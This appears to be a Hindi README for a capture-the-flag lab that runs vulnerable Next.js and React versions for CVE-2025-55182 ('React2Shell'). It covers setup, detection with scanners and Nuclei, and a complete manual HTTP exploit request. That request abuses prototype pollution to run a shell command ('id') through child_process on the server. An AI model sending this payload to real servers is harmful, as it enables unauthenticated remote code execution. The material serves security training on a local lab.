CyberSec Blog CTF - React2Shell PoC

यह रिपॉजिटरी Next.js और React Server Components का उपयोग करने वाले एक साइबर सुरक्षा ब्लॉग पर आधारित एक कमजोर CTF (Capture The Flag) वातावरण प्रदान करती है।

CVE-2025-55182 : React Server Components संस्करण 19.0.0, 19.1.0, 19.1.1 और 19.2.0 में प्री-ऑथेंटिकेशन रिमोट कोड एक्ज़ीक्यूशन (RCE) कमजोरी। कमजोर कोड Server Function एंडपॉइंट्स को भेजे गए HTTP अनुरोधों के पेलोड को असुरक्षित रूप से डी-सीरियलाइज़ करता है।

CVE-2025-66478 : App Router का उपयोग करने वाले Next.js अनुप्रयोगों पर प्रभाव।

CTF का विवरण

यह चैलेंज एक साइबर सुरक्षा ब्लॉग प्रस्तुत करता है जिसमें शामिल हैं:

सुरक्षा विषयों पर 5 लेख (Web, React, CTF, Next.js, डी-सीरियलाइज़ेशन)
3 काल्पनिक लेखक
डार्क मोड के साथ एक आधुनिक इंटरफ़ेस

ब्लॉग React और Next.js के कमजोर संस्करणों का उपयोग करता है, जिससे React2Shell कमजोरी का शोषण संभव होता है।

उपयोग किए गए कमजोर संस्करण

पैकेज	संस्करण
`next`	16.0.6
`react`	19.2.0
`react-dom`	19.2.0

CTF कैसे चलाएं

Docker के साथ (अनुशंसित)

# Construire l'image
docker build -t react2shell-poc .

# Lancer le conteneur
docker run --rm -p 127.0.0.1:3000:3000 react2shell-poc

Docker के बिना

npm install
npm run build
npm run start

फिर, http://127.0.0.1:3000 पर जाएं

कमजोरी का पता कैसे लगाएं

AssetNote स्कैनर के साथ

git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt

python3 scanner.py -u http://127.0.0.1:3000

Nuclei के साथ

nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000

शोषण कैसे करें

React2Shell टूल के साथ

Python एक्सप्लॉइट के लिए React2Shell/ फ़ोल्डर देखें।

मैनुअल HTTP पेलोड

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

प्रतिक्रिया के x-action-redirect हेडर में id कमांड का परिणाम मौजूद होगा।

संदर्भ

simple-nextjs-blog टेम्पलेट और कमजोर CVE-2025-55182 वातावरण पर आधारित कस्टम CTF चैलेंज।

CVE-2025-55182-React2Shell-Lab

सबसे लोकप्रिय